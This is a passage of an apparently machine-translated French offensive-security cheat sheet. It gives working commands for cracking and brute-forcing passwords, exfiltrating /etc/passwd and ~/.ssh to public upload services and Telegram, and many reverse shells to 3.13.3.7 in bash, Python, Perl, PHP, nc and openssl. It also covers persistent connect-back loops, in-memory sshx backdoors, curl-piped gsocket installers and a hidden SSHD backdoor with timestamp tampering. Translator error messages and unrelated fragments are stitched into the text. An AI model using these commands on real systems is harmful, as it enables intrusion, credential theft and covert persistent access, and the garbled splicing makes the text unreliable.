2. [wpa-sec](https://wpa-sec.stanev.org) pour cracker (rechercher) les mots de passe WPA PSK
HashCat est notre outil de référence pour tout le reste :```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt
Utilisation d'un hashmask de 10 jours (7 à 16 caractères) sur GPU :```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2
Craquez les hachages `known_hosts` d'OpenSSH pour révéler l'adresse IP :```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt
👉 Lisez la FAQ.
Sachez que les hachages $6$ sont LENTS. Même le masque de hachage 7-16 caractères en 1 minute prendrait de nombreux jours sur un cluster de 8xRTX4090.
Louez un cluster GPU RTX-4090 sur vast.ai pour 0,40 $/h et utilisez dizcza/docker-hashcat:cuda (en savoir plus).
Sinon, utilisez Crackstation, shuck.sh, ColabCat/cloud/Cloudtopolis ou craquez sur vos propres instances AWS.
3.xi. Mots de passe / clés par force brute
Ce qui suit concerne la force brute (devination) des mots de passe des SERVICES EN LIGNE.
Vous ne pouvez PAS faire de force brute sur les comptes GMAIL.
SMTP AUTH/LOGIN EST DÉSACTIVÉ SUR GMAIL.
Tous les outils de force brute et de craquage de mots de passe GMail sont FAUX.
Tous les outils sont pré-installés sur segfault :```shell ssh [email protected] # password is 'segfault'
(Vous pouvez utiliser votre [propre nœud de sortie](https://www.thc.org/segfault/wireguard))
Outils :
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [docs](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - idéal pour tester toutes les clés ssh sur une plage d'adresses IP cible.
Listes de noms d'utilisateur & de mots de passe :
* `/usr/share/nmap/nselib/data`
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >FAVORI de THC<
* https://github.com/danielmiessler/SecLists
* https://wordlists.assetnote.io
* https://weakpass.com
* https://crackstation.net/
Définissez la liste de **U**tilisateur/**M**ot de passe et l'**h**ôte cible.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"
Paramètres Nmap utiles:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly
Paramètres **Ncrack** utiles :```shell
-U "${ULIST}"
-P "${PLIST}"
Paramètres utiles d'Hydra :```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v
-->```shell
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"
- Choisissez **Create new [profile-name] profile** et cliquez sur **OK**. Le navigateur basé sur Chromium s'ouvrira sur le profil et nous pourrons continuer.
- Pour que Kape s'exécute avec succès, l'utilisateur doit accepter la fenêtre contextuelle **Download usage and crash reports**. Cliquez sur **Accept** et fermez le navigateur.
- Pour la section suivante qui nous demande d'ouvrir le profil, nous sélectionnons **Open existing [profile-name] profile**, et continuons avec l'exécution normale.```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"
Please provide the Markdown content to translate.```shell
hydra -P "${PLIST}" -l user "ftp://$T"
## KubeHound - Identification des chemins d'attaque dans les clusters Kubernetes
- **Source :** https://github.com/DataDog/KubeHound
- **Changelog :** [Changelog](https://github.com/DataDog/KubeHound/blob/main/changelog.md)
- **Langage :** Go
- **Licence :** Apache-2.0
KubeHound est un outil de sécurité qui permet d'identifier les chemins d'attaque dans les clusters Kubernetes.
L'outil permet aux équipes de sécurité de répondre à deux questions principales :
- **Quels sont les risques les plus critiques dans mes clusters Kubernetes ?** — KubeHound analyse le cluster pour identifier les chemins d'attaque ouverts qui pourraient compromettre un cluster.
- **Mon cluster Kubernetes est-il sécurisé ?** — KubeHound utilise des vérifications de sécurité spécifiques pour rechercher des problèmes de sécurité.```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"
oneOf et anyOfbool pour additionalPropertiesin à x-extend-enumnmap -p110,995 --script pop3-brute "$T"
No content provided for translation.```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"
Exemple```shell
nmap -p5432 --script pgsql-brute "$T"
The input chunk is empty — no content was provided to translate.```shell
## SMB (windows)
nmap --script smb-brute "$T"
No input content was provided after "INPUT:" in this message, so there is nothing to translate. Please resend the chunk text.```shell
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"
Vérifie si une organisation AWS existe```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"
Le fichier DB_SCHEMA.md contient un aperçu détaillé de la structure de la base de données, y compris les informations sur les tables, les colonnes, les relations et les performances.```shell
msfconsole use auxiliary/scanner/vnc/vnc_login set rhosts 192.168.0.1 set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt run
Veuillez fournir le contenu Markdown à traduire.```shell
## HTML basic auth
echo admin >user.txt # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
pentesteracademylab.appspot.com
Le plus simple : tapez exfil sur un serveur racine Segfault
Ou utilisez curl et lancez votre propre serveur d'exfiltration PHP.
Astuce pour transférer un fichier vers la cible lorsque celle-ci n'a pas accès à Internet : convertissez le fichier binaire en texte ASCII (base64), puis utilisez le copier-coller. (Autre solution : utilisez la console elite de gs-netcat avec Ctrl-e c pour transférer le fichier via la même connexion TCP.)
Utilisez xclip (sur votre poste de travail) pour envoyer les données encodées directement dans votre presse-papiers :```shell
base64 -w0 </etc/issue.net | xclip
#### >>> UU encode/decode```sh
## uuencode
uuencode /etc/issue.net issue.net-COPY
begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end
```sh base64 -d >issue.net-COPY ``` #### >>> Openssl encodage/décodage```sh openssl base64VWJ1bnR1IDE4LjA0LjIgTFRTCg==
```sh openssl base64 -d >issue.net-COPY ``` #### >>> xxd encoder/décoder```sh xxd -pVWJ1bnR1IDE4LjA0LjIgTFRTCg==
```sh xxd -p -r >issue.net-COPY ``` --- ### 4.ii. Transfert de fichiers - à l'aide du copier-coller4b616c6920474e552f4c696e757820526f6c6c696e670a
Collez dans un fichier sur la machine distante (notez le <<-'__EOF__' pour ne pas altérer les tabulations ni les variables $).```sh
cat >output.txt <<-'EOF'
[...]
EOF ### Finish your cut & paste by typing EOF
---
<a id="xfer-tmux"></a>
### 4.iii. Transfert de fichiers - en utilisant *tmux*
Démarrez `tmux` sur votre poste de travail. Connectez-vous à votre cible par les moyens de votre choix (ssh, gs-netcat, ...).
#### Du distant vers le local (téléchargement)
Utilisez [Tmux-Logging](#tmux) pour télécharger de gros fichiers depuis la cible via le terminal vers votre poste de travail.
#### Du local vers le distant (envoi)
Démarrez votre outil de décodage préféré (base64) sur le distant :```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt
Sur votre poste de travail, et depuis un terminal différent, envoyez des données encodées en base64. Elles arriveront sur votre REMOTE dans screen-xfer.txt.```shell
tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'
---
<a id="file-transfer-screen"></a>
### 4.vi. Transfert de fichiers - avec *screen*
#### De DISTANT à LOCAL (téléchargement)
Ayez un *screen* en cours d'exécution sur votre ordinateur local et connectez-vous au système distant depuis votre shell. Demandez à votre screen local de journaliser toute la sortie dans screen-xfer.txt :
> CTRL-a : logfile screen-xfer.txt
> CTRL-a H
Nous utilisons *openssl* pour encoder nos données, mais toute méthode d'encodage ci-dessus fonctionne. Cette commande affichera les données encodées en base64 dans le terminal et *screen* écrira ces données dans *screen-xfer.txt* :```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net
Arrêtez votre screen local pour qu'il n'enregistre plus aucune donnée :
CTRL-a H
Sur votre ordinateur local, décodez le fichier :```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt
#### De LOCAL à REMOTE (téléversement)
Sur votre système local, encodez les données :```sh
openssl base64 </etc/issue.net >screen-xfer.txt
Sur le système distant (et depuis le screen actuel) :```sh openssl base64 -d
Utilisez *screen* pour slurper les données encodées en base64 dans le presse-papiers de screen et collez les données du presse-papiers vers le système distant :
> CTRL-a : readbuf screen-xfer.txt
> CTRL-a : paste .
> CTRL-d
> CTRL-d
Note : Deux CTRL-d sont nécessaires en raison d'un [bug dans openssl](https://github.com/openssl/openssl/issues/9355).
---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Transfert de fichier - via gs-netcat et sftp
Utilisez [gs-netcat](https://github.com/hackerschoice/gsocket) et encapsulez le protocole sftp à l'intérieur. Permet l'accès aux hôtes derrière NAT/Pare-feu.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host behind NAT/Firewall
Depuis votre poste de travail, exécutez cette commande pour vous connecter au serveur SFTP :```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation
Ou pour DUMP un seul fichier :```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver
# On the receiver
gs-netcat >"FILENAME" # When prompted, enter the SECRET from the sender
Sur l'expéditeur / le serveur :```sh
python -m http.server 8080 --bind 127.0.0.1 &
cloudflared tunnel -url localhost:8080
Receiver: Accédez à l'URL depuis n'importe quel navigateur pour visualiser/télécharger le système de fichiers distant.
#### 1 - Téléversement via PHP :
Sur le récepteur :```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate
Sur l'expéditeur :```posh
up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }
up warez.tar.gz up /etc/passwd
#### 2 - Téléversement via PYTHON:
Sur le récepteur :```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000
Sur l'expéditeur :```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'
---
<a id="download"></a>
### 4.vii. Téléchargement de fichier sans curl
Avec Python, téléchargez uniquement :```sh
# Declare a curl-alternative
purl() {
local url="${1:?}"
{ [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
"$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io
Exemple : Installation de gsocket avec purl :```sh
source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct
En utilisant OpenSSL, téléchargez uniquement :```sh
surl() {
local r="${1#*://}"
local opts=("-quiet" "-ign_eof")
IFS=/ read -r host query <<<"${r}"
openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io
en utilisant Perl, téléchargez uniquement :```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }
En utilisant bash, téléchargez uniquement :```sh
burl() {
IFS=/ read -r proto x host query <<<"$1"
exec 3<>"/dev/tcp/${host}/${PORT:-80}"
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
Copiez & collez dans votre bash :```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }
puis téléversez un fichier ou un répertoire :```sh
transfer /etc/passwd # A single file
transfer ~/.ssh # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"
Une liste de nos sites de téléversement publics préférés.
Idéal pour synchroniser de grandes quantités de répertoires ou reprendre des transferts interrompus. L'exemple transfère le répertoire 'warez' vers le récepteur en utilisant une seule connexion TCP de l'expéditeur au récepteur.
Récepteur:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach
Expéditeur:```posh
rsync -av warez rsync://1.2.3.4:31337/up
La même chose chiffrée (OpenSSL) :
Destinataire :```posh
openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"
Expéditeur :```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@" 0:
}
# Using rsync + openssl
up2() {
rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@" 0:
}
up1 /var/www/./warez
up2 /var/www/./warez
Rsync peut être combiné pour exfiltrer via tunnels TCP bruts https / cloudflared.
(Pour exfiltrer depuis Windows, utilisez rsync.exe du package gsocket pour Windows). Une solution plus bruyante est syncthing.
Astuce de pro : les hackers paresseux tapent simplement exfil sur segfault.net.
Sur le récepteur (par ex. segfault.net), démarrez un tunnel Cloudflare et WebDAV :```sh cloudflared tunnel --url localhost:8080 &
wsgidav --port=8080 --root=. --auth=anonymous
Sur un autre serveur :```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}
Accédez au partage depuis Windows (pour glisser-déposer des fichiers) dans l'Explorateur de fichiers:``` \example-foo-bar-lights.trycloudflare.com@SSL\sources
Ou montez le partage WebDAV sous Windows (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources
Il existe des tonnes de services de téléversement, mais TG est une alternative pratique. Obtenez un TG-Bot-Token auprès du TG BotFather. Créez ensuite un nouveau groupe TG et ajoutez votre bot au groupe. Récupérez le chat_id de ce groupe :```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq
Le texte source est vide : aucun contenu n’a été fourni après « INPUT: ». Merci de fournir le texte à traduire.```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"
Astuce : Utilisez https://www.revshells.com/ 👌
5.i.a. Reverse shell avec gs-netcat (chiffré)
Voir 6. Backdoors pour une commande en une ligne permettant de déployer et d'accéder à un reverse shell PTY entièrement fonctionnel à l'aide de https://gsocket.io/deploy.
5.i.b. Reverse shell avec Bash
Démarrez netcat en écoute sur le port 1524 sur votre système :```sh nc -nvlp 1524
Après la connexion, [améliorez](#reverse-shell-interactive) votre shell en un shell PTY entièrement interactif. Vous pouvez également utiliser [pwncat-cs](https://pwncat.org/) au lieu de netcat :```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.
Sur le système distant, cette commande établira une connexion de retour vers votre système (IP = 3.13.3.7, Port 1524) et vous donnera une invite shell :```sh
(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)
bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
Alternativement, sur le système distant, placez ceci dans le `~/.profile` ou la crontab pour redémarrer le shell connect-back (et empêche également le démarrage de plusieurs instances) :```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)
5.i.c. Reverse shell avec cURL (chiffré)
Utilisez curlshell. Cela fonctionne également à travers les proxys et lorsque la connexion TCP directe vers l'extérieur est interdite :```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash
5.i.d Reverse shell avec cURL (en clair)
Démarrez ncat pour écouter plusieurs connexions :```sh ncat -kltv 1524
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
5.i.e. Reverse shell avec OpenSSL (chiffré)```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
openssl s_server -port 1524 -cert cert.pem -key key.pem
### Outils connexes
- Consultez la [**documentation REMnux**](https://docs.remnux.org/)
- Travaillez sur l'**ensemble d'outils REMnux** en utilisant l'[environnement de développement basé sur Docker](https://docs.remnux.org/install-distros/remnux-as-a-container).
- Il existe divers autres outils d'analyse de malwares en ligne de commande qui peuvent être utiles pour l'analyse comportementale :
- Outils **Joe Sandbox CLI** pour soumettre des échantillons à Joe Sandbox
- Outils **VMRay CLI** pour interagir avec VMRay```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )
5.i.f. Reverse shell sans /dev/tcp
Les systèmes embarqués n'ont pas toujours Bash et l'astuce /dev/tcp/ ne fonctionnera pas. Il existe de nombreuses autres méthodes (Python, PHP, Perl, ..). Notre préférée consiste à téléverser netcat et à utiliser netcat ou telnet :
Sur le système distant :```sh nc -e /bin/sh -vn 3.13.3.7 1524
Variante si *'-e'* n'est pas pris en charge :```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
{ nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:. (merci IA_PD).| : ne fonctionnera pas sur C-Shell/tcsh (FreeBSD), le shell Bourne d'origine (Solaris) ou le shell Korn (AIX). Utilisez mkfifo à la place.Variante pour /bin/sh plus ancien :```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io
Variante Telnet:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io
Variante Telnet lorsque mkfifo n'est pas supporté (Ulg!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio
Note: N'oubliez pas de `rm /tmp/.fio` après la connexion.
<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse shell avec remote.moe et ssh (chiffré)**
Il est possible de tunneler du TCP brut (par exemple un reverse shell bash) via [remote.moe](https://remote.moe) :
Sur votre poste de travail :```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe
# Second Terminal - start listening for the reverse shell
nc -vnlp 8080
Sur la cible (nécessite SSH et Bash) :```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'
Sur la cible (alternative ; nécessite ssh, bash et mkfifo) :```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p 2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)
5.i.i. Reverse shell avec Python```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
<a id="reverse-shell-perl"></a>
**5.i.j. Reverse shell avec Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
5.i.k. Reverse shell avec PHP```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Mettre à niveau un reverse shell vers un shell PTY**
Tous les reverse shells ci-dessus sont limités. Par exemple, *sudo bash* ou *top* ne fonctionneront pas. Pour les faire fonctionner, nous devons mettre à niveau le shell vers un véritable shell PTY :```sh
# Using script
exec script -qc /bin/bash /dev/null # Linux
exec script -q /dev/null /bin/bash # BSD
Autres endpoints : Consul propose également un endpoint non authentifié
/v1/health/service/:service. Sur cet endpoint, l'ajout du paramètrenseffectue une requête récursive sur tous les namespaces et nous pouvons filtrer les réponses à l'aide du paramètrens. Par exemple,ns=mynsrenverra les services dans le namespacemyns, tandis que si nous utilisonsns=_, il renverra tous les services. Cela peut être exploité pour lister tous les services dans tous les namespaces, contournant ainsi les restrictions de namespace.
Par ailleurs, notez qu'il existe des endpoints
raw_execetexecdans Nomad qui peuvent être exploités pour des mouvements latéraux.```sh
exec python -c 'import pty; pty.spawn("/bin/bash")'
<a id="reverse-shell-interactive"></a>
**5.ii.b. Mettre à niveau un reverse shell vers un shell entièrement interactif**
...et si nous voulons aussi utiliser Ctrl-C etc., alors nous devons aller jusqu'au bout et mettre à niveau le reverse shell vers un véritable shell interactif entièrement coloré :```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.
I'm ready to translate the chunk, but I notice the INPUT section is empty — no source text was provided. Please supply the actual content of chunk 322, and I'll translate it into French following all the formatting rules.```
stty raw -echo icrnl opost; fg
The input chunk is empty — there is no content to translate. Please provide the actual Markdown text for chunk 324.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
5.ii.c. Reverse shell avec socat (entièrement interactif)
...ou installez socat et réglez ça sans trop de bidouillage :```sh
socat file:tty,raw,echo=0 tcp-listen:1524
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524
---
<a id="backdoor"></a>
## 6. Backdoors
Voir [Reverse Shell / Dumb Shell](#reverse-shell) pour les reverse shells simples en une ligne.
<a id="gsnc"></a>
**6.i. Reverse shell avec gs-netcat**
Nous utilisons principalement le script de déploiement automatisé de gs-netcat : [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"
ou```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"
ou déployez gsocket en exécutant votre propre serveur de déploiement :```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)" # Notice '/ys' instead of '/y'
6.ii. Reverse shell avec sshx.io (chiffré)
Accédez à un shell distant depuis votre navigateur web https://sshx.io.
Passez sshx-backdoor directement en mémoire :```shell
echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)
Ou la version simpliste :```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;
6.iii. Plus petite porte dérobée SSHD
apt updateauthorized_keys ni PAM.Ajouter votre clé à authorized_keys est surutilisé 😩. Au lieu de cela, en tant que root, copiez-collez ceci une fois sur n'importe quelle cible. Cela ajoutera une seule ligne à la configuration de SSHD et vous permettra de vous connecter pour toujours :```shell
backdoor_sshd() {
local B="/etc/ssh"
local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d"
local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf)
[ ! -f "$K" ] && K="${B}/ssh_host_rsa_key"
[ -n "$N" ] && N="${N%%.conf}.conf"
N="${D}/${N:-50-cloud-init.conf}"
[ ! -d "${D}" ] && N="${B}/sshd_config"
{ [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return
grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config"
echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m"
grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; }
echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return
touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D"
command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart
}
